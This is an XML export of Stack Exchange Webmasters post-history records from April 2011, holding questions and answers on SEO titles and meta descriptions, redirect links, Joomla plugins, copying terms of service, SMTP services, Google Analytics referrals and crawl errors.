  <row Id="27593" PostHistoryTypeId="1" PostId="12110" RevisionGUID="15fc2394-66a2-4bb5-b16e-1031150bc970" CreationDate="2011-04-13T08:35:09.383" UserId="5727" Text="Highly SEO optimised forum posts" />
  <row Id="27594" PostHistoryTypeId="3" PostId="12110" RevisionGUID="15fc2394-66a2-4bb5-b16e-1031150bc970" CreationDate="2011-04-13T08:35:09.383" UserId="5727" Text="&lt;seo&gt;&lt;forum&gt;" />
  <row Id="27595" PostHistoryTypeId="5" PostId="12110" RevisionGUID="e2dd467f-c4db-4ab1-a325-7353dff2362b" CreationDate="2011-04-13T08:44:30.983" UserId="5727" Comment="added 59 characters in body" Text="Given the following forum post:&#xD;&#xA;&#xD;&#xA;&gt; **Basics of how internals of Construct work**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I've used GameMaker in the past. And I&#xD;&#xA;&gt; know some C++ and have used a few 3d&#xD;&#xA;&gt; engines with it. I have also looked at&#xD;&#xA;&gt; Unity, though I didn't get too much&#xD;&#xA;&gt; into it. So I know my way around&#xD;&#xA;&gt; programming etc...&#xD;&#xA;&gt; &#xD;&#xA;&gt; My question is, how does construct&#xD;&#xA;&gt; work internally? I know it allows&#xD;&#xA;&gt; python scripting, which itself is&#xD;&#xA;&gt; &quot;technically&quot; interpreted, though&#xD;&#xA;&gt; python is pretty fast as far as being&#xD;&#xA;&gt; interpreted goes. But what about the&#xD;&#xA;&gt; rest? Is the executable that gets&#xD;&#xA;&gt; cre...&#xD;&#xA;&#xD;&#xA;The forum software will take the first 150 chars of the first post as the page meta description, and the title will be the thread title.  All ok.  So in Google it will appear as:&#xD;&#xA;&#xD;&#xA;&gt; **Basics of how internals of Construct work**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I've used GameMaker in the past. And I&#xD;&#xA;&gt; know some C++ and have used a few 3d&#xD;&#xA;&gt; engines with it. I have also looked at&#xD;&#xA;&gt; Unity, though I didn't get too much...&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.domain.com/forum/basics-of-how-internals-of-construct-work.html&#xD;&#xA;&#xD;&#xA;Now the problem is (not so much with this thread, but other ones) is the first 150 chars don't always create the best meta description.  Is it worth my time to cherry pick threads and manually set their description/title tags so they read like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Internal workings of Construct 2**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Events aren't converted to any other language. The runtime is a standalone compiled EXE application, which is optimised and actually very fast. Your events...&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.domain.com/forum/basics-of-how-internals-of-construct-work.html&#xD;&#xA;&#xD;&#xA;The H1 on the page is still the original title, but we have overridden the title and description to look more friendly on search results.&#xD;&#xA;&#xD;&#xA;Is this advantageous forgetting the obvious time cost?" />
  <row Id="27596" PostHistoryTypeId="25" PostId="12110" RevisionGUID="77d317dc-a49a-4e54-8ca4-48e0134674fa" CreationDate="2011-04-13T09:09:10.623" Comment="http://twitter.com/#!/StackWebmasters/status/58094366144724993" />
  <row Id="27597" PostHistoryTypeId="2" PostId="12111" RevisionGUID="d5fd3e94-7dd8-4dab-bce3-45fa191fc58a" CreationDate="2011-04-13T09:15:57.463" UserId="6746" Text="You might end up with blocking a very long list of IPs. People [here][1] try blocking India, Philippines and Pakistan - maybe this could solve a part of your problem. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.seochat.com/seo-help-general-chat-16/protecting-your-site-block-india-pakistan-and-the-philippines-399458.html" />
  <row Id="27598" PostHistoryTypeId="2" PostId="12112" RevisionGUID="c880c446-8957-4a2a-b02a-a7686448c437" CreationDate="2011-04-13T09:30:57.680" UserId="4461" Text="Titles are one of the more important on-page elements and are, in my opinion, worth trying to get as accurate and relevant as possible. It does, however, look like the titles are already relatively optimized in terms of your target audience - they reflect the subject matter in the way your audience would search for it.&#xD;&#xA;&#xD;&#xA;Meta descriptions you can leave out (like SE), as if they don't match the query, then Google will just cherry-pick the best matching content that matches.&#xD;&#xA;&#xD;&#xA;So it becomes down to and effort/outcome issue - and I'd suggest that you could end up down a rabbits-warren of over-optimization in this case." />
  <row Id="27599" PostHistoryTypeId="2" PostId="12113" RevisionGUID="4477c85f-6432-44e7-a9f8-940e86da909a" CreationDate="2011-04-13T09:35:13.883" UserId="6335" Text="I don't know, how to name such a links.&#xD;&#xA;&#xD;&#xA;Main idea is following:&#xD;&#xA;&#xD;&#xA;I write a post at some community and place a link to my web-site:&#xD;&#xA;&#xD;&#xA;&gt; www.mywebsite.com&#xD;&#xA;&#xD;&#xA;When post is saved, my link will look like this:&#xD;&#xA;&#xD;&#xA;&gt; http://www.some-community.com/outgoing?http://mywebsite.com&#xD;&#xA;&#xD;&#xA;It does't have &quot;nofollow&quot; arrtibute value.&#xD;&#xA;&#xD;&#xA;When i click this link, i get notification page, like this:&#xD;&#xA;&#xD;&#xA;&gt; &quot;You are going to follow to external site. Continue ?&quot;&#xD;&#xA;&#xD;&#xA;This page contains actual link to my website, without &quot;nofollow&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How such a pseudo-external link will be handled by Google's and other search engines ? I think, this will be no problems with reaching my website, but extra hop. Or ?&#xD;&#xA;&#xD;&#xA;Will posting a link on such a commminities increase ranking of my website ?" />
  <row Id="27600" PostHistoryTypeId="1" PostId="12113" RevisionGUID="4477c85f-6432-44e7-a9f8-940e86da909a" CreationDate="2011-04-13T09:35:13.883" UserId="6335" Text="Pseudo-external links and SEO" />
  <row Id="27601" PostHistoryTypeId="3" PostId="12113" RevisionGUID="4477c85f-6432-44e7-a9f8-940e86da909a" CreationDate="2011-04-13T09:35:13.883" UserId="6335" Text="&lt;seo&gt;&lt;links&gt;&lt;google-search&gt;&lt;crawling&gt;" />
  <row Id="27602" PostHistoryTypeId="2" PostId="12114" RevisionGUID="b3a2c7de-b072-4d19-a3ce-fc928fa91e7e" CreationDate="2011-04-13T09:55:39.323" UserId="3790" Text="How can I get lightbox 2 into Joomla?  &#xD;&#xA;And I mean the real one:  &#xD;&#xA;http://www.huddletogether.com/projects/lightbox2/  &#xD;&#xA;I already have the images, so I just want to add rel=&quot;lightbox&quot; to my image link and the lightbox pops up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there an extensions available or do I have to include the script files manually?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27603" PostHistoryTypeId="1" PostId="12114" RevisionGUID="b3a2c7de-b072-4d19-a3ce-fc928fa91e7e" CreationDate="2011-04-13T09:55:39.323" UserId="3790" Text="Lightbox 2 in Joomla" />
  <row Id="27604" PostHistoryTypeId="3" PostId="12114" RevisionGUID="b3a2c7de-b072-4d19-a3ce-fc928fa91e7e" CreationDate="2011-04-13T09:55:39.323" UserId="3790" Text="&lt;joomla&gt;" />
  <row Id="27605" PostHistoryTypeId="2" PostId="12115" RevisionGUID="2d24630b-c048-4441-b191-1e234e21f209" CreationDate="2011-04-13T11:25:13.217" UserId="6797" Text="I'm not sure what you're talking about, but I think you just need to change&#xD;&#xA;www.mywebsite.com into http://www.mywebsite.com" />
  <row Id="27606" PostHistoryTypeId="2" PostId="12116" RevisionGUID="5208f767-813e-445c-8938-b7040850d6db" CreationDate="2011-04-13T12:03:41.550" UserId="1643" Text="Google say you can use either:&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2010/03/working-with-multilingual-websites.htm&#xD;&#xA;" />
  <row Id="27607" PostHistoryTypeId="25" PostId="12114" RevisionGUID="d8666e2f-766d-4e72-acaf-d2314f976c86" CreationDate="2011-04-13T12:09:10.623" Comment="http://twitter.com/#!/StackWebmasters/status/58139663575158784" />
  <row Id="27611" PostHistoryTypeId="5" PostId="12113" RevisionGUID="d771eb1a-2266-42c7-ac63-8c197ba8a3ec" CreationDate="2011-04-13T12:55:42.533" UserId="6335" Comment="added 307 characters in body; added 2 characters in body" Text="I don't know, how to name such a links.&#xD;&#xA;&#xD;&#xA;Main idea is following:&#xD;&#xA;&#xD;&#xA;I write a post at some community and place a link to my web-site:&#xD;&#xA;&#xD;&#xA;&gt; www.mywebsite.com&#xD;&#xA;&#xD;&#xA;When post is saved, my link will look like this:&#xD;&#xA;&#xD;&#xA;&gt; http://www.some-community.com/outgoing?http://mywebsite.com&#xD;&#xA;&#xD;&#xA;It does't have &quot;nofollow&quot; arrtibute value.&#xD;&#xA;&#xD;&#xA;When i click this link, i get notification page, like this:&#xD;&#xA;&#xD;&#xA;&gt; &quot;You are going to follow to external site. Continue ?&quot;&#xD;&#xA;&#xD;&#xA;This page contains actual link to my website, without &quot;nofollow&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How such a pseudo-external link will be handled by Google's and other search engines ? I think, this will be no problems with reaching my website, but extra hop. Or ?&#xD;&#xA;&#xD;&#xA;Will posting a link on such a commminities increase ranking of my website ?&#xD;&#xA;&#xD;&#xA;**Update 1**&#xD;&#xA;&#xD;&#xA;Just rephrasing my question:&#xD;&#xA;&#xD;&#xA;I promote my website in some communities via writing posts (with links to my website). &#xD;&#xA;&#xD;&#xA;These comminities having such notifications, like &quot;You are visiting external site. Continue ?&quot;.&#xD;&#xA;&#xD;&#xA;The question is - will using such comminities increase my ranking ?" />
  <row Id="27612" PostHistoryTypeId="2" PostId="12118" RevisionGUID="a9a3157a-cce2-4c36-a639-83b5aac7ad98" CreationDate="2011-04-13T13:01:40.670" UserId="6776" Text="Can I go ahead and copy TOS &amp; Privacy from any other website and change as per my requirement?&#xD;&#xA;&lt;p&gt;Will it come under &quot;copied&quot; material and can it affect my Adsense approval application later?&lt;/p&gt;&#xD;&#xA;&lt;p&gt;Also will it escape duplicate content penalty by all search engines?&#xD;&#xA;I think most of people must be generating from some templates.&lt;/p&gt;" />
  <row Id="27613" PostHistoryTypeId="1" PostId="12118" RevisionGUID="a9a3157a-cce2-4c36-a639-83b5aac7ad98" CreationDate="2011-04-13T13:01:40.670" UserId="6776" Text="Can I copy TOS &amp; Privacy from other websites?" />
  <row Id="27614" PostHistoryTypeId="3" PostId="12118" RevisionGUID="a9a3157a-cce2-4c36-a639-83b5aac7ad98" CreationDate="2011-04-13T13:01:40.670" UserId="6776" Text="&lt;google-adsense&gt;" />
  <row Id="27615" PostHistoryTypeId="2" PostId="12119" RevisionGUID="b1a205db-a6f4-49d6-a3fd-18c649d4aae4" CreationDate="2011-04-13T13:09:11.193" UserId="6776" Text="You can download a file at http://pgl.yoyo.org/as/#foursteps which contains hundreds of ad server's url's and get rid of almost all advertisements while browsing. You need to copy paste it in your windows/system32/drivers/etc/hosts file.&#xD;&#xA;&#xD;&#xA;Advantages of pasting all those urls:&#xD;&#xA; -&#xD;&#xA;&#xD;&#xA; - Those ads will not be able to&#xD;&#xA;   distract you&#xD;&#xA; - Browser will be faster as all that javascript ads load from remote&#xD;&#xA;   server&#xD;&#xA; - You save some unnecessary bandwidth&#xD;&#xA;&#xD;&#xA;I've had a new discovery. Even after adding all those url Chrome is using some trick to show through doubleclick.net ads! That's bad part of Google which is leveraging Chrome to it's advantage." />
  <row Id="27619" PostHistoryTypeId="2" PostId="12120" RevisionGUID="308e6a48-4ec7-45dd-b2b4-ae55f683dac3" CreationDate="2011-04-13T13:13:19.083" UserId="5464" Text="I wanted to the do something similar and really struggled in the end the best help i found was on this site: &#xD;&#xA;&#xD;&#xA;[Styling google docs forms][1]&#xD;&#xA;&#xD;&#xA;[Customise google forms][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlesystem.blogspot.com/2009/05/styling-google-docs-forms.html&#xD;&#xA;  [2]: http://googlesystem.blogspot.com/2008/05/customize-google-docs-forms.html" />
  <row Id="27620" PostHistoryTypeId="6" PostId="12118" RevisionGUID="641de7e7-98a7-4689-8ea2-538b25de589c" CreationDate="2011-04-13T13:16:26.330" UserId="1253" Comment="added &quot;legal&quot; tag" Text="&lt;google-adsense&gt;&lt;legal&gt;" />
  <row Id="27621" PostHistoryTypeId="2" PostId="12121" RevisionGUID="b2b51784-0224-4a87-a468-95c114c82a18" CreationDate="2011-04-13T13:19:55.843" UserId="1253" Text="Search engines do follow and can count a redirected link to your website as a link assuming the redirect script is not blocked and the redirect is a 301 or 302. There may be other headers that work as well but these are how it is typically done anyway.&#xD;&#xA;&#xD;&#xA;So check:&#xD;&#xA;&#xD;&#xA;- to see if the redirect is blocked via robots.txt&#xD;&#xA;- see if the redirect script uses the x-robots-tag and is noindex, nofollow&#xD;&#xA;- check what redirect header code is sent out and make sure it is a 301 or 302" />
  <row Id="27622" PostHistoryTypeId="2" PostId="12122" RevisionGUID="09fafe5f-a91f-4321-8d35-441ffb03a52b" CreationDate="2011-04-13T13:21:52.203" UserId="1643" Text="It depends on just how much you change it. If you just change the name of the website then that's bound to be classified as &quot;copied&quot;. I would rewrite the whole thing in your own words." />
  <row Id="27623" PostHistoryTypeId="2" PostId="12123" RevisionGUID="944bcdd1-0762-4755-a916-42410becee89" CreationDate="2011-04-13T13:22:03.597" UserId="5727" Text="TOS &amp; Privacy are still copyrighted to the legitimate owner, so direct copying would be illegal.&#xD;&#xA;&#xD;&#xA;You can, and it's a good idea however, to use them as reference sources when writing your own, to make sure you have covered all the main points.&#xD;&#xA;&#xD;&#xA;Be aware though, without a trained professional (lawyer), you can never know if the terms you have written are binding, and cover all necessary eventualities.&#xD;&#xA;&#xD;&#xA;My advice would be to contact the site owner, and ask if you can use it.  " />
  <row Id="27624" PostHistoryTypeId="2" PostId="12124" RevisionGUID="6da19142-4c7a-4c1f-9243-ceaffb169a75" CreationDate="2011-04-13T13:19:41.627" UserDisplayName="Victor" Text="Some websites like Stack Overflow, everytime a new question is posted, Google indexes it almost instantly.&#xD;&#xA;&#xD;&#xA;I've come to think that sitemap and RSS Feed are very important for search engines.&#xD;&#xA;&#xD;&#xA;What other methods have you seen, or used?" />
  <row Id="27625" PostHistoryTypeId="1" PostId="12124" RevisionGUID="6da19142-4c7a-4c1f-9243-ceaffb169a75" CreationDate="2011-04-13T13:19:41.627" UserDisplayName="Victor" Text="How to get pages indexed by search engine quickly?" />
  <row Id="27626" PostHistoryTypeId="3" PostId="12124" RevisionGUID="6da19142-4c7a-4c1f-9243-ceaffb169a75" CreationDate="2011-04-13T13:19:41.627" UserDisplayName="Victor" Text="&lt;rss&gt;&lt;search-engines&gt;&lt;sitemap&gt;" />
  <row Id="27627" PostHistoryTypeId="17" PostId="12124" RevisionGUID="a76ed105-2ce6-4be5-9c2e-c000f3ce7514" CreationDate="2011-04-13T13:22:34.390" UserId="-1" Comment="from http://stackoverflow.com/questions/5649936/how-to-get-pages-indexed-by-search-engine-quickly" Text="" />
  <row Id="27628" PostHistoryTypeId="5" PostId="12079" RevisionGUID="356af9c2-53c3-4924-801c-a5ef132d5dd5" CreationDate="2011-04-13T13:22:34.720" UserId="4306" Comment="Removed links, so as not to encourage spam" Text="I have a websites related to cricket and advertising. How can I apply for google adsense?" />
  <row Id="27629" PostHistoryTypeId="24" PostId="12079" RevisionGUID="356af9c2-53c3-4924-801c-a5ef132d5dd5" CreationDate="2011-04-13T13:22:34.720" Comment="Proposed by 4306 approved by 1253 edit id of 110" />
  <row Id="27630" PostHistoryTypeId="5" PostId="12113" RevisionGUID="fb5a0ad9-232d-481d-8b43-4cfbde1b3ed7" CreationDate="2011-04-13T13:22:45.170" UserId="4306" Comment="Edited for clarity" Text="I don't know, how to name such a links.&#xD;&#xA;&#xD;&#xA;Main idea is following:&#xD;&#xA;&#xD;&#xA;I write a post at a community, which I do not control, and place a link to my web-site:&#xD;&#xA;&#xD;&#xA;&gt; www.mywebsite.com&#xD;&#xA;&#xD;&#xA;When post is saved, my link is converted to this:&#xD;&#xA;&#xD;&#xA;&gt; http://www.some-community.com/outgoing?http://mywebsite.com&#xD;&#xA;&#xD;&#xA;It does't have &quot;nofollow&quot; attribute value.&#xD;&#xA;&#xD;&#xA;When i click this link, i get notification page, like this:&#xD;&#xA;&#xD;&#xA;&gt; &quot;You are going to follow to external site. Continue ?&quot;&#xD;&#xA;&#xD;&#xA;This page contains the actual link to my website, again without &quot;nofollow&quot;.&#xD;&#xA;&#xD;&#xA;How such a pseudo-external link will be handled by Google's and other search engines? I think, this will be no problems with reaching my website, but extra hop. Or?&#xD;&#xA;&#xD;&#xA;Will posting a link on such communities increase ranking of my website?&#xD;&#xA;&#xD;&#xA;**Update 1**&#xD;&#xA;&#xD;&#xA;Just rephrasing my question:&#xD;&#xA;&#xD;&#xA;I promote my website in some communities via writing posts (with links to my website). &#xD;&#xA;&#xD;&#xA;These communities having such redirect notifications, like &quot;You are visiting external site. Continue ?&quot;.&#xD;&#xA;&#xD;&#xA;The question is - will using such communities increase my ranking ?" />
  <row Id="27631" PostHistoryTypeId="24" PostId="12113" RevisionGUID="fb5a0ad9-232d-481d-8b43-4cfbde1b3ed7" CreationDate="2011-04-13T13:22:45.170" Comment="Proposed by 4306 approved by 1253 edit id of 111" />
  <row Id="27632" PostHistoryTypeId="2" PostId="12125" RevisionGUID="52856196-3215-4caa-abf0-6909f772e8d8" CreationDate="2011-04-13T13:24:35.723" UserId="6799" Text="quick indexing depends on number of backlinks." />
  <row Id="27633" PostHistoryTypeId="5" PostId="12124" RevisionGUID="c444ce2f-8704-486d-9255-207fa2d58c98" CreationDate="2011-04-13T13:28:03.610" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [StackOverflow and Google search](http://webmasters.stackexchange.com/questions/7299/stackoverflow-and-google-search)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Some websites like Stack Overflow, everytime a new question is posted, Google indexes it almost instantly.&#xD;&#xA;&#xD;&#xA;I've come to think that sitemap and RSS Feed are very important for search engines.&#xD;&#xA;&#xD;&#xA;What other methods have you seen, or used?" />
  <row Id="27634" PostHistoryTypeId="10" PostId="12124" RevisionGUID="48263bf3-d839-42f7-af74-747d5b815711" CreationDate="2011-04-13T13:28:03.220" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="27635" PostHistoryTypeId="17" PostId="12127" RevisionGUID="7f0c86ce-5a61-433b-8f6f-b6fc4a2786db" CreationDate="2011-04-13T13:31:13.567" UserId="-1" Comment="from http://stackoverflow.com/questions/5641867/own-smtp-server-vs-sendgrid-postmarkapp-critsend-smtp-com-etc/5648203#5648203" Text="" />
  <row Id="27636" PostHistoryTypeId="2" PostId="12127" RevisionGUID="d48a0ea8-34ba-43d0-9b93-46e21dfbe355" CreationDate="2011-04-13T11:10:53.860" UserDisplayName="Daniel Crenna" Text="First, congratulations for setting up your own server with SPF, DomainKeys, DKIM, and SenderID. Obviously you care about deliverability!&#xD;&#xA;&#xD;&#xA;In this scenario, Postmark is not actually a viable option, simply because we deal specifically with transactional email (welcome emails, invoices and receipts, in-app notifications, etc.) where deliverability failure can lead to significant loss of sales, vs. &quot;bulk&quot; email like a marketing campaign where deliverability failure leads to potential opportunity cost, but not at the same level of severity.&#xD;&#xA;&#xD;&#xA;It's possible that a sudden surge in email volume will trip the circuits on ISPs' radars, especially for a marketing campaign, so I would advise that you put some thought into the email itself to avoid an uptick in spam complaints that will damage your sending IP.&#xD;&#xA;&#xD;&#xA;You can also consider throttling the campaign or sending it in stages rather than push it out as fast as possible, if that's an option for you.&#xD;&#xA;&#xD;&#xA;Also, remember that SenderScore works like a credit rating; in many cases, sending low volumes of email is a lot like having &quot;no credit history&quot;. A sudden spike may be over your threshold based on the email volumes you have sent in the past.&#xD;&#xA;&#xD;&#xA;That said, the email safeguards you have already taken to verify your identity go a long way in the ISPs eyes, so keep that up, use best practices in your email design, send with some light throttling, and you should be okay.&#xD;&#xA;&#xD;&#xA;ESPs (email service providers) like Newsberry or MailChimp are still good options for marketing campaigns if you want to use IP addressess that are specifically used for bulk email and actively monitored to keep their reputation high. This is the equivalent of sending through an IP that has already sent millions of similar emails, vs. one that is normally low volume. Plus you get click tracking statistics to improve your performance, etc." />
  <row Id="27637" PostHistoryTypeId="2" PostId="12126" RevisionGUID="1826240d-e071-40da-b244-751cdf1d1f9a" CreationDate="2011-04-12T21:30:56.370" UserId="6703" Text="Wondering what the benefits are from switching from our own SMTP server to an SMTP service.&#xD;&#xA;&#xD;&#xA;They all seem to talk about handling the deliverability issues. However our server is set up with SPF records, DomainKeys, DKIM and SenderID. We've not yet heard about deliverability issues with our own server. Additionally SenderScore is reporting 99/100.&#xD;&#xA;&#xD;&#xA;So why use an SMTP service?&#xD;&#xA;&#xD;&#xA;PS: we'll be wishing to send a larger than normal marketing email so this would increase the volume of email from our server in a relatively short period of time" />
  <row Id="27638" PostHistoryTypeId="1" PostId="12126" RevisionGUID="1826240d-e071-40da-b244-751cdf1d1f9a" CreationDate="2011-04-12T21:30:56.370" UserId="6703" Text="Own SMTP server vs SendGrid/PostmarkApp/CritSend/SMTP.com/etc" />
  <row Id="27639" PostHistoryTypeId="3" PostId="12126" RevisionGUID="1826240d-e071-40da-b244-751cdf1d1f9a" CreationDate="2011-04-12T21:30:56.370" UserId="6703" Text="&lt;email&gt;&lt;saas&gt;" />
  <row Id="27640" PostHistoryTypeId="17" PostId="12126" RevisionGUID="d303f474-1379-44fe-8535-752554857e37" CreationDate="2011-04-13T13:31:13.567" UserId="-1" Comment="from http://stackoverflow.com/questions/5641867/own-smtp-server-vs-sendgrid-postmarkapp-critsend-smtp-com-etc" Text="" />
  <row Id="27641" PostHistoryTypeId="2" PostId="12128" RevisionGUID="4ac3b460-c4e6-4794-8172-357b28779316" CreationDate="2011-04-13T13:33:46.977" UserId="1920" Text="In Google Analytics, why does Google show up sometimes under an organic medium, and other times as a referral? (They frequently have the same landing page.) &#xD;&#xA;&#xD;&#xA;As I understand (and I'm just as likely to be dead wrong), the organic medium indicates someone found a link to my page in search results and the referral is when a link from site X leads to my site. I understand a search engine just populates a page with links, so how does GA determine when to call a Google referral organic as opposed to referral?" />
  <row Id="27642" PostHistoryTypeId="1" PostId="12128" RevisionGUID="4ac3b460-c4e6-4794-8172-357b28779316" CreationDate="2011-04-13T13:33:46.977" UserId="1920" Text="Why is Google showing up as a referral instead of a search engine in Google Analytics?" />
  <row Id="27643" PostHistoryTypeId="3" PostId="12128" RevisionGUID="4ac3b460-c4e6-4794-8172-357b28779316" CreationDate="2011-04-13T13:33:46.977" UserId="1920" Text="&lt;google-analytics&gt;&lt;search-engines&gt;&lt;referrer&gt;" />
  <row Id="27644" PostHistoryTypeId="17" PostId="12130" RevisionGUID="352df949-c393-47c9-a0b4-abf0b32cb3ab" CreationDate="2011-04-13T13:39:14.780" UserId="-1" Comment="from http://stackoverflow.com/questions/5104241/seo-crawl-errors/5115462#5115462" Text="" />
  <row Id="27645" PostHistoryTypeId="17" PostId="12131" RevisionGUID="2f217b5d-978a-422a-a50d-52b553b240ef" CreationDate="2011-04-13T13:39:14.780" UserId="-1" Comment="from http://stackoverflow.com/questions/5104241/seo-crawl-errors/5139830#5139830" Text="" />
  <row Id="27646" PostHistoryTypeId="2" PostId="12130" RevisionGUID="39e32da1-4f63-41aa-8564-dc8765f49e33" CreationDate="2011-02-25T09:15:18.503" UserId="5525" Text="Such crawl errors come when some one else is linking you with wrong urls may be a forum or may when you are generating wrong links by mistake.&#xD;&#xA;&#xD;&#xA;Generally I confirm is my mistake or wrongly linked by doing following&#xD;&#xA;&#xD;&#xA;    1. Just try to search for these link if you can find them in any other sites (That should cover most of your worries).  &#xD;&#xA;    2. Check them in your access logs and see if you can get referal urls.&#xD;&#xA;&#xD;&#xA;If the number are low or within limits I generally ignore. But do monitor how many such request you get (404's)." />
  <row Id="27647" PostHistoryTypeId="2" PostId="12131" RevisionGUID="5d241703-3aee-4765-8dde-6dc2999df738" CreationDate="2011-02-28T08:53:05.323" UserId="2290" Text="hi ho googlebot has a pretty broad understanding of what URLs it deems worth crawling. as a matter of fact, if you have any string with a slash (/) somewhere in your HTML or on page javascript, google treats it as an (relative) URL and tries to crawl it. &#xD;&#xA;&#xD;&#xA;but hey, if you just have one or two or below half a million of such crawl errors, don't worry. it does not matter. if you have a few million crawl errors because of such strings, well do worry and change the strings.&#xD;&#xA;" />
  <row Id="27648" PostHistoryTypeId="2" PostId="12129" RevisionGUID="6a873ee8-5c1f-44fa-90cb-94b27050f4d8" CreationDate="2011-02-24T11:50:51.370" UserDisplayName="snakespan" Text="I've been optimising my website for search engines and for some reason I have a crawl error of a page that has not been found of 'www.peach-designs.com/a' which is not a page, is not a link, or is not anything. I've checked my code and I'm only left to assume that this is a link to a page (a href..etc.).&#xD;&#xA;&#xD;&#xA;Is this common for other websites?&#xD;&#xA;&#xD;&#xA;Hope you can help,&#xD;&#xA;&#xD;&#xA;Kind regards,&#xD;&#xA;&#xD;&#xA;Snakespan" />
  <row Id="27649" PostHistoryTypeId="1" PostId="12129" RevisionGUID="6a873ee8-5c1f-44fa-90cb-94b27050f4d8" CreationDate="2011-02-24T11:50:51.370" UserDisplayName="snakespan" Text="SEO - Crawl Errors" />
  <row Id="27650" PostHistoryTypeId="3" PostId="12129" RevisionGUID="6a873ee8-5c1f-44fa-90cb-94b27050f4d8" CreationDate="2011-02-24T11:50:51.370" UserDisplayName="snakespan" Text="&lt;google&gt;&lt;seo&gt;&lt;web-crawlers&gt;" />
  <row Id="27651" PostHistoryTypeId="17" PostId="12129" RevisionGUID="17fd60e1-b0a0-455f-9223-23fa5336ab92" CreationDate="2011-04-13T13:39:14.780" UserId="-1" Comment="from http://stackoverflow.com/questions/5104241/seo-crawl-errors" Text="" />
  <row Id="27652" PostHistoryTypeId="2" PostId="12132" RevisionGUID="a56f08a9-41cb-4cb6-94ca-5a71065894a2" CreationDate="2011-04-13T13:41:54.987" UserId="1643" Text="This answer may help - http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55587. In summary, they come from google domains which aren't searches." />
  <row Id="27653" PostHistoryTypeId="2" PostId="12133" RevisionGUID="4c515503-30ed-4d7c-a3b6-704affd775a1" CreationDate="2011-04-13T13:45:38.333" UserId="2613" Text="I don't know of an extension that uses Lightbox 2 specifically, but JoomlaWorks has something similar that works very well with Joomla.&#xD;&#xA;&#xD;&#xA;http://www.joomlaworks.gr/content/view/51/41/#demos&#xD;&#xA;&#xD;&#xA;You can also check the Joomla Extension Directory to see if any use the script you specify:&#xD;&#xA;&#xD;&#xA;http://extensions.joomla.org/search?q=lightbox" />
  <row Id="27654" PostHistoryTypeId="17" PostId="12135" RevisionGUID="851c5c85-0728-4b47-8c89-ad97e451ee1e" CreationDate="2011-04-13T13:49:24.857" UserId="-1" Comment="from http://stackoverflow.com/questions/5646554/handing-back-link-seo-value-to-another-site/5646659#5646659" Text="" />
  <row Id="27655" PostHistoryTypeId="2" PostId="12135" RevisionGUID="dbd51fa0-b7ff-4504-935c-e8671ceabdbc" CreationDate="2011-04-13T08:52:45.297" UserDisplayName="frisco" Text="I don't see a way to get the full revenue of the links other that doing a permanet redirection from one site to another.&#xD;&#xA;To get some of the reputation you can set links from the white label site to the main one, but that will have minimal effect.&#xD;&#xA;Using canonical may work but probably that will remove pages from the results and leave only the canonicals.&#xD;&#xA;&#xD;&#xA;A more ethical approach is requiring the big brands to add also a link to your main site, maybe on another section (partners, providers...) that should help also to address the problem.&#xD;&#xA;" />
  <row Id="27656" PostHistoryTypeId="2" PostId="12134" RevisionGUID="8575f0bd-b4d4-4c6f-b6d0-820aab9e41c2" CreationDate="2011-04-13T08:42:25.260" UserDisplayName="Mikey Hogarth" Text="The company I work for hosts several websites - one of these is a UK brand that's been around for years, another of them is a bit newer and is basically a white-label/affiliate site that re-skins itself - the idea being that we can go to company A or company B and say &quot;Hey, would you like to sell our products? Here's a free micro-site, just link to it from yours...&quot;&#xD;&#xA;&#xD;&#xA;Some of the people who have taken us up on this are quite large firms and and as a result this affiliate site is now out-ranking our main UK consumer brand (we think due to the high quality back links).&#xD;&#xA;&#xD;&#xA;Our top brass aren't really happy about this and are asking if there's any way we can take the value of those back links and transfer them to our main consumer brand. Now, I personally don't agree with this ethically, but I have been asked the question and I honestly don't know the answer. If it helps, the affiliate site and the main consumer brand share a CMS, so the copy is the same. Is there any way of (as my managers have started describing it) me &quot;juicing&quot; one site from the backlinks of another using meta/canonical tags?&#xD;&#xA;&#xD;&#xA;Cheers in advance,&#xD;&#xA;&#xD;&#xA;Mikey" />
  <row Id="27657" PostHistoryTypeId="1" PostId="12134" RevisionGUID="8575f0bd-b4d4-4c6f-b6d0-820aab9e41c2" CreationDate="2011-04-13T08:42:25.260" UserDisplayName="Mikey Hogarth" Text="Handing back-link SEO value to another site" />
  <row Id="27658" PostHistoryTypeId="3" PostId="12134" RevisionGUID="8575f0bd-b4d4-4c6f-b6d0-820aab9e41c2" CreationDate="2011-04-13T08:42:25.260" UserDisplayName="Mikey Hogarth" Text="&lt;seo&gt;" />
  <row Id="27659" PostHistoryTypeId="17" PostId="12134" RevisionGUID="07d066c6-1685-4bea-80a6-9baefef07cd8" CreationDate="2011-04-13T13:49:24.857" UserId="-1" Comment="from http://stackoverflow.com/questions/5646554/handing-back-link-seo-value-to-another-site" Text="" />
  <row Id="27660" PostHistoryTypeId="17" PostId="12137" RevisionGUID="0ed0290d-edb3-4a30-84a3-a90b962aef7a" CreationDate="2011-04-13T13:50:53.720" UserId="-1" Comment="from http://stackoverflow.com/questions/5645001/i-have-a-question-about-windows-azure-compute-pricing-and-perhaps-other-compute-p/5645066#5645066" Text="" />
